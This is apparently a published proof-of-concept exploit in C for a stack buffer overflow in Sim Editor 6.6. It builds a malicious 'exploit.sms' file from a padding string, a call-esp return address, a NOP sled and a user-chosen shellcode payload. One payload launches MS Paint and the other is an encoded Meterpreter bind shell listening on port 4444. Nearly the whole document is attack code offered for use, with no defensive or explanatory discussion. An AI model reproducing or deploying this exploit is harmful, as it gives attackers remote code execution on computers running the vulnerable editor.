Sim Editor 6.6 Buffer Overflow

`#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
  
#define SIZE 65536   
  
/*  
* Title: Sim Editor v6.6 Stack Based Buffer Overflow  
* Version: 6.6  
* Tested on: Windows XP sp2 en, Windows 8 64-bit  
* Date: 16-01-2015  
* Author: Osanda Malith Jayathissa  
* E-Mail: osanda[cat]unseen.is  
* Website: OsandaMalith.wordpress.com  
*/  
  
  
void add(int count, unsigned char* dest, unsigned char *src);  
int menu();  
void banner();  
  
int main()  
{  
banner();  
int i = menu();  
unsigned char *buff, *nops;  
FILE *outfile;   
  
buff = (unsigned char*) malloc (SIZE);  
nops = (unsigned char*) malloc (SIZE);  
if (!buff) exit (1);  
  
buff[0] = nops[0] = 0;   
add(405, buff, "41");  
add(16, nops, "90");  
  
unsigned char ret[] = "D3804200"; /* 0x4280D3 call esp */  
  
outfile = fopen("exploit.sms", "w");  
  
if (!outfile) printf("%s\n","Could not open file");   
  
fputs(buff, outfile);  
fputs(ret, outfile);  
fputs(nops, outfile);  
  
if(i == 1) {  
unsigned char shell[] = "ba516a43ddd9e9d97424f45e33c9b1"  
"3231561503561583eefce2a496ab54"  
"46672c07cf821d15abc70ca9b88abc"  
"42ec3e36263830ff8d1e7f00209ed3"  
"c222622e17855be16ac49c1c849475"  
"6a3709f22e8428d424b45251fa41e9"  
"582bf96612d3712082e25632feadd3"  
"81752c32d8761e7ab749ae77c98e09"  
"68bce46915c73f13c142ddb382f505"  
"454663ce4923e7884db224a36a3fcb"  
"63fb7be8a7a7d891fe0d8eaee0ea6f"  
"0b6b187b2d36777abf4d3e7cbf4d11"  
"158ec6fe620f0dbb9d450fea3500da"  
"ae5bb331ec6530b38d9128b688deee"  
"2be14f9b4b566f8e262bff50d1a58b"  
"92"; fputs(shell, outfile);}  
  
else if(i == 2) {  
/* msfpayload windows/meterpreter/bind_tcp EXITFUNC=thread LPORT=4444 R | msfencode -a x86 -t c */  
unsigned char shell[] = "bb3ff8edc8dbc6d97424f45f2bc9b1"  
"4a83effc315f11035f11e2ca04054e"  
"34f5d62fbd10e77dd9515ab2aa3457"  
"39feacec4fd6c345e500ed56cb8ca1"  
"954d70b8c9ad49731caf8e6eeffd47"  
"e44212ecb85e99be2ce77e744cc6d0"  
"0317c8d3c02341cc050f1b67fdfb9a"  
"a1cc04ad8d823a0100db7ba6fbae77"  
"d486a843a65c3d560016e5b2b0fb73"  
"30beb0f01ea347d514dfccd8fa6996"  
"fede324c9f479f23a098479b04d26a"  
"c831b9e23d7342f3290431c1f6bedd"  
"697e18198d55dcb570561c9fb6024c"  
"b71f2b07479ffe87170f5167c8ef01"  
"0f02e07e2f2d2a179e098670e2ad38"  
"dd6b4b50cd3dc3cd2f1adc6a4f4970"  
"22c7c69ef4e8d7b45644705f2d8645"  
"7e3283ee17a5597e55575dab0f97cb"  
"5786c06355ff272ca62a3ce532952b"  
"0ad215ac5cb815c4389845f14635fa"  
"aad2b5ab1f74dd5179b242a9ac42bf"  
"7c89c0c90af908";  
fputs(shell, outfile);   
puts("[*] Connect on port 4444");}  
else { puts("[-] Enter a valid input"); exit(-1); }   
  
fclose(outfile);  
free(buff);  
printf("%s","[+] Successfully to written to \"exploit.sms\"");   
  
return 0;  
}  
  
void add(int count, unsigned char* dest, unsigned char *src) {  
int i;  
for (i=0; i<count; i++) strcat(dest, src);   
}  
  
int menu() {  
int i;  
puts("\b[?] Choose an Option: ");  
puts("1. MS Paint");  
puts("2. Bind Shell");  
scanf("%i", &i);  
return i;  
}  
  
void   
banner() {  
static const char banner[] =   
" _____ _ _____ _ _ _ \n"  
"| __|_|_____ | __|_| |_| |_ ___ ___ \n"  
"|__ | | | | __| . | | _| . | _|\n"  
"|_____|_|_|_|_| |_____|___|_|_| |___|_|\n"  
"\n[~] Sim Editor v6.6 Stack Based Buffer Overflow\n"  
"[~] Author: Osanda Malith Jayathissa\n"  
"[~] E-Mail: osanda[cat]unseen.is\n"  
"[~] Website: OsandaMalith.wordpress.com\n\n";   
  
fwrite(banner, sizeof(char), sizeof(banner) , stdout);  
}  
`